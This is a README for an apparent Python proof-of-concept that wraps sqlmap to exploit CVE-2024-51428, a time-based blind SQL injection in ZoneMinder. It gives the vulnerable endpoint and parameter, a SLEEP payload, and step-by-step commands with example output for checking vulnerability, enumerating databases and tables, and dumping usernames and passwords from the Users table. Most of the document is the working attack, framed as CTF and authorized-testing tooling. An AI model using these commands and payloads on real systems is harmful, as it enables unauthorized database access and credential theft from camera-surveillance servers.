
Wrapper in Python to exploit CVE-2024-51428 in ZoneMinder using Blind SQL Injection using sqlmap, automating enumeration of DBs, tables, and data extraction with clean output.
Python wrapper for sqlmap designed to exploit CVE-2024-51428 in ZoneMinder.
This tool automates detection and exploitation of a Blind SQL Injection vulnerability while keeping the output clean and focused on useful data.
The script hides sqlmap logs and only displays relevant information such as:
This makes the tool ideal for CTF environments, demonstrations, and security testing.
CVE: CVE-2024-51428
Type: Blind SQL Injection
Affected Software: ZoneMinder
Attack Vector: HTTP GET parameter
Parameter: tid
The vulnerability exists in the following endpoint:
/zm/index.php?view=request&request=event&action=removetag&tid=
The tid parameter is not properly sanitized before being used in a database query, allowing attackers to inject SQL queries.
The exploitation technique used is time-based blind SQL injection.
Example payload discovered by sqlmap:
tid=1 AND (SELECT 3475 FROM (SELECT(SLEEP(5)))BZWD)
This payload forces the database to sleep if the query is executed successfully, confirming the presence of SQL injection.
Install sqlmap if needed:
sudo apt install sqlmap
Basic syntax:
python3 poc.py --url <TARGET_URL> -c '<ZMSESSID_COOKIE>'
With this command we check if it is vulnerable or not
Example:
python3 poc.py --url http://target.htb -c '151fvdqmjkhnkfat7l5epgmd22'
The exploit requires a valid ZoneMinder session cookie.
Steps:
Application → Cookies
ZMSESSID
-cExample:
-c '151fvdqmjkhnkfat7l5epgmd22'
python3 poc.py --url http://target.htb -c 'COOKIE'
Example output:
[*] Checking vulnerability...
Parameter: tid (GET)
Type: time-based blind
Payload: tid=1 AND (SELECT(SLEEP(5)))
[+] TARGET IS VULNERABLE TO BLIND SQL INJECTION
python3 poc.py --url http://target.htb -c 'COOKIE' -d
Example output:
available databases [3]:
information_schema
mysql
zm
python3 poc.py --url http://target.htb -c 'COOKIE' -d -db zm
Example output:
Database: zm
Users
Events
Monitors
Storage
python3 poc.py --url http://target.htb -c 'COOKIE' -d -db zm -t Users
python3 poc.py --url http://target.htb -c 'COOKIE' -d -db zm -t Users -f Username
Example:
+----------+
| Username |
+----------+
| admin |
| viewer |
+----------+
You can filter rows using:
-ff <COLUMN> <VALUE>
Example:
python3 poc.py --url http://target.htb -c 'COOKIE' -d -db zm -t Password -ff Username mark
Equivalent SQL:
WHERE Username='mark'
Example:
python3 poc.py \
--url http://target.htb \
-c 'COOKIE' \
-d -db zm -t Users \
-f Password \
-ff Username mark
Internal sqlmap command:
sqlmap -D zm -T Users -C Password --where="Username='mark'" --dump
The script acts as a wrapper around sqlmap.
Steps performed internally:
/zm/index.php?view=request&request=event&action=removetag&tid=1
--threads=10
--technique=T
--batch
This tool was created for:
This project is provided for educational and authorized security testing purposes only.
The author is not responsible for any misuse of this tool.
Always obtain proper authorization before testing any system.
Security Research / CTF tooling